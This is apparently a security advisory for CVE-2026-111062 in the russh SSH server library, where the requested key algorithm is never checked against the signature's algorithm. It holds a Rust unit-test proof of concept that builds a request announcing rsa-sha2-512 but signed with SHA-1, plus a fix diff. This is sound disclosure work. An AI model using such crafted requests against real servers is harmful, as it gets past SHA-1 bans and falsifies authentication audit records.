PT-2026-118097 · Crates.Io · Russh

CVE-2026-111062

·

Publicado

2026-10-19

·

Atualizado

2026-10-19

CVSS v4.0

2.3

Baixa

VetorAV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Details

In russh/src/server/encrypted.rs, server read auth request pk (0.63.3, around lines 880-990):
  • The requested algorithm name (pubkey algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey algo, &pubkey key). The derived hash alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
  • The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
  • pubkey algo and sig.algorithm() are never compared.
So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth publickey is called.
Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
  • Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set algorithm(algo )), then verifies.
  • From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig workaround::Sig::decode, later Signature::decode) and verified with it.
Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test auth session, sign with hash alg, PrivateKeyWithHashAlg) and needs no network or configuration.
  1. Check out russh 0.63.3, or main.
  2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
  3. Run cargo test --lib poc sha1.
rust
// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
  authenticated: bool,
}

impl Handler for AcceptAnyKey {
  type Error = Error;

  async fn auth publickey offered(
    &mut self,
     user: &str,
     public key: &PublicKey,
  ) -> Result<Auth, Self::Error> {
    Ok(Auth::Accept)
  }

  async fn auth publickey(
    &mut self,
     user: &str,
     public key: &PublicKey,
  ) -> Result<Auth, Self::Error> {
    self.authenticated = true;
    Ok(Auth::Accept)
  }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed request announcing(
  user: &str,
  private key: Arc<PrivateKey>,
  announced: &str,
  hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
  let mut packet = Vec::new();
  packet.push(msg::USERAUTH REQUEST);
  user.encode(&mut packet).unwrap();
  "ssh-connection".encode(&mut packet).unwrap();
  "publickey".encode(&mut packet).unwrap();
  1u8.encode(&mut packet).unwrap();
  announced.encode(&mut packet).unwrap();
  private key.public key().to bytes().unwrap().encode(&mut packet).unwrap();

  let mut signed = Vec::new();
  CryptoVec::new().as ref().encode(&mut signed).unwrap();
  signed.extend from slice(&packet);
  let signature =
    sign with hash alg(&PrivateKeyWithHashAlg::new(private key, hash), &signed).unwrap();
  signature.encode(&mut packet).unwrap();
  packet
}

#[tokio::test]
async fn poc sha1 signature accepted when rsa sha2 512 is announced() {
  let rsa = ssh key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
  let private = Arc::new(PrivateKey::from(rsa));
  let mut session = test auth session();
  let mut handler = AcceptAnyKey::default();

  // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
  let packet = signed request announcing("alice", private, "rsa-sha2-512", None);
  session.process packet(&mut handler, &packet).await.unwrap();

  // RFC 8332 §3: the signature algorithm must be the requested one, so
  // this request must be rejected. On russh 0.63.3 it is accepted.
  assert!(
    !handler.authenticated,
    "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
  );
}
Result on unmodified 0.63.3:
test server::encrypted::tests::poc sha1 signature accepted when rsa sha2 512 is announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512
With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.
Suggested fix: reject a mismatch through the existing reject auth request(until, ...) path, so the constant rejection time is kept.
diff
--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
           map err!(ensure end(&signature reader))?;
           map err!(ensure end(r))?;
 
+          // RFC 8332 §3: the signature must use the algorithm the
+          // request names.
+          let offered algorithm = match pk or cert {
+            PublicKeyOrCertificate::PublicKey { .. } => ssh key::Algorithm::new(&pubkey algo),
+            PublicKeyOrCertificate::Certificate( ) => {
+              <ssh key::Algorithm as crate::helpers::AlgorithmExt>::new certificate ext(&pubkey algo)
+            }
+          };
+          if offered algorithm.ok().as ref() != Some(&sig.algorithm()) {
+            debug!("signature algorithm does not match the requested one");
+            auth user.clear();
+            reject auth request(until, &mut self.write, auth request).await?;
+            return Ok(());
+          }
+
           let is valid = if accepted probe matches && user == auth user {
             true
           } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.
Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:
  • a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
  • a server that logs which algorithm a client authenticated with.
Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.
Not impacted:
  • russh clients;
  • authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
  • Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Correção

Improper Verification of Cryptographic Signature

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Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-111062
GHSA-J7H2-66J4-GHJF

Produtos afetados

Russh